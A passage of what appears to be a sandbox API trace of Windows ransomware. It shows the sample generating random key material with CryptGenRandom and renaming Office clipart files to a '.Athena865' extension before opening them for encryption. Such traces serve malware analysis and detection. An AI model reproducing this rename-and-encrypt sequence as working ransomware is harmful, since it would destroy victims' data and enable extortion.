[0122.873] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2052) returned 1 [0122.874] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.874] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.874] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.877] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.877] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.877] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.878] lstrcpyW (in: lpString1=0x241e8ae, lpString2="DD01172_.WMF" | out: lpString1="DD01172_.WMF") returned="DD01172_.WMF" [0122.878] lstrlenW (lpString="DD01172_.WMF") returned 12 [0122.878] lstrlenW (lpString="Athena865") returned 9 [0122.878] lstrcmpiW (lpString1="1172_.WMF", lpString2="Athena865") returned -1 [0122.878] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF.Athena865") returned 73 [0122.878] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01172_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01172_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.880] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01172_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.880] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2232) returned 1 [0122.880] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.881] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.881] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.883] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.883] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.883] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.884] lstrcpyW (in: lpString1=0x241e8ae, lpString2="DD01173_.WMF" | out: lpString1="DD01173_.WMF") returned="DD01173_.WMF" [0122.884] lstrlenW (lpString="DD01173_.WMF") returned 12 [0122.884] lstrlenW (lpString="Athena865") returned 9 [0122.884] lstrcmpiW (lpString1="1173_.WMF", lpString2="Athena865") returned -1 [0122.884] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF.Athena865") returned 73 [0122.884] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01173_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01173_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.886] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01173_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.886] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1804) returned 1 [0122.886] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.886] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.886] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.888] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.889] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.889] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.889] lstrcpyW (in: lpString1=0x241e8ae, lpString2="DD01176_.WMF" | out: lpString1="DD01176_.WMF") returned="DD01176_.WMF" [0122.889] lstrlenW (lpString="DD01176_.WMF") returned 12 [0122.889] lstrlenW (lpString="Athena865") returned 9 [0122.890] lstrcmpiW (lpString1="1176_.WMF", lpString2="Athena865") returned -1 [0122.890] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF.Athena865") returned 73 [0122.890] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01176_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01176_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.891] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01176_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.891] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1888) returned 1 [0122.891] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.891] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.891] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.894] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.895] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.895] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.895] lstrcpyW (in: lpString1=0x241e8ae, lpString2="DD01178_.WMF" | out: lpString1="DD01178_.WMF") returned="DD01178_.WMF" [0122.895] lstrlenW (lpString="DD01178_.WMF") returned 12 [0122.895] lstrlenW (lpString="Athena865") returned 9 [0122.895] lstrcmpiW (lpString1="1178_.WMF", lpString2="Athena865") returned -1 [0122.895] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF.Athena865") returned 73 [0122.895] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01178_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01178_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.896] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01178_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.896] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3796) returned 1 [0122.897] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.897] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.897] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.899] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.900] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.900] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.900] lstrcpyW (in: lpString1=0x241e8ae, lpString2="DD01179_.WMF" | out: lpString1="DD01179_.WMF") returned="DD01179_.WMF" [0122.900] lstrlenW (lpString="DD01179_.WMF") returned 12 [0122.900] lstrlenW (lpString="Athena865") returned 9 [0122.900] lstrcmpiW (lpString1="1179_.WMF", lpString2="Athena865") returned -1 [0122.900] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF.Athena865") returned 73 [0122.900] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01179_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01179_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.901] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01179_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.902] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2024) returned 1 [0122.902] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.902] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.902] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.904] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.905] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.905] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.905] lstrcpyW (in: lpString1=0x241e8ae, lpString2="DD01180_.WMF" | out: lpString1="DD01180_.WMF") returned="DD01180_.WMF" [0122.906] lstrlenW (lpString="DD01180_.WMF") returned 12 [0122.906] lstrlenW (lpString="Athena865") returned 9 [0122.906] lstrcmpiW (lpString1="1180_.WMF", lpString2="Athena865") returned -1 [0122.906] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF.Athena865") returned 73 [0122.906] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01180_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01180_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.907] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01180_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.907] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2084) returned 1 [0122.907] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.908] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.908] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.912] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.912] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.912] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.913] lstrcpyW (in: lpString1=0x241e8ae, lpString2="DD01181_.WMF" | out: lpString1="DD01181_.WMF") returned="DD01181_.WMF" [0122.913] lstrlenW (lpString="DD01181_.WMF") returned 12 [0122.913] lstrlenW (lpString="Athena865") returned 9 [0122.913] lstrcmpiW (lpString1="1181_.WMF", lpString2="Athena865") returned -1 [0122.913] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF.Athena865") returned 73 [0122.913] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01181_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01181_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.916] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01181_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.916] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1448) returned 1 [0122.916] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.917] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.917] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.919] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.919] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.919] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.920] lstrcpyW (in: lpString1=0x241e8ae, lpString2="DD01182_.WMF" | out: lpString1="DD01182_.WMF") returned="DD01182_.WMF" [0122.920] lstrlenW (lpString="DD01182_.WMF") returned 12 [0122.920] lstrlenW (lpString="Athena865") returned 9 [0122.920] lstrcmpiW (lpString1="1182_.WMF", lpString2="Athena865") returned -1 [0122.920] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF.Athena865") returned 73 [0122.920] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01182_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01182_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.921] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01182_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.921] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2996) returned 1 [0122.921] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.922] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.922] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.925] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.926] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.926] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.926] lstrcpyW (in: lpString1=0x241e8ae, lpString2="DD01183_.WMF" | out: lpString1="DD01183_.WMF") returned="DD01183_.WMF" [0122.926] lstrlenW (lpString="DD01183_.WMF") returned 12 [0122.926] lstrlenW (lpString="Athena865") returned 9 [0122.926] lstrcmpiW (lpString1="1183_.WMF", lpString2="Athena865") returned -1 [0122.926] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF.Athena865") returned 73 [0122.926] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01183_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01183_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.927] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01183_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.927] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2296) returned 1 [0122.927] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.928] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.928] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.930] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.931] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.931] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.931] lstrcpyW (in: lpString1=0x241e8ae, lpString2="DD01186_.WMF" | out: lpString1="DD01186_.WMF") returned="DD01186_.WMF" [0122.931] lstrlenW (lpString="DD01186_.WMF") returned 12 [0122.931] lstrlenW (lpString="Athena865") returned 9 [0122.931] lstrcmpiW (lpString1="1186_.WMF", lpString2="Athena865") returned -1 [0122.931] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF.Athena865") returned 73 [0122.931] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01186_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01186_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01186_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.933] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=8564) returned 1 [0122.933] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.934] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.934] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.937] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.937] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.937] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.938] lstrcpyW (in: lpString1=0x241e8ae, lpString2="DD01366_.WMF" | out: lpString1="DD01366_.WMF") returned="DD01366_.WMF" [0122.938] lstrlenW (lpString="DD01366_.WMF") returned 12 [0122.938] lstrlenW (lpString="Athena865") returned 9 [0122.938] lstrcmpiW (lpString1="1366_.WMF", lpString2="Athena865") returned -1 [0122.938] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF.Athena865") returned 73 [0122.938] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01366_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01366_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.940] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01366_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.940] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1768) returned 1 [0122.940] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.941] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.941] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.943] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.943] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.943] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.944] lstrcpyW (in: lpString1=0x241e8ae, lpString2="DD01434_.WMF" | out: lpString1="DD01434_.WMF") returned="DD01434_.WMF" [0122.944] lstrlenW (lpString="DD01434_.WMF") returned 12 [0122.944] lstrlenW (lpString="Athena865") returned 9 [0122.944] lstrcmpiW (lpString1="1434_.WMF", lpString2="Athena865") returned -1 [0122.944] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF.Athena865") returned 73 [0122.944] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01434_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01434_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01434_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.962] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=900) returned 1 [0122.962] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.963] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.963] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.965] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.966] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 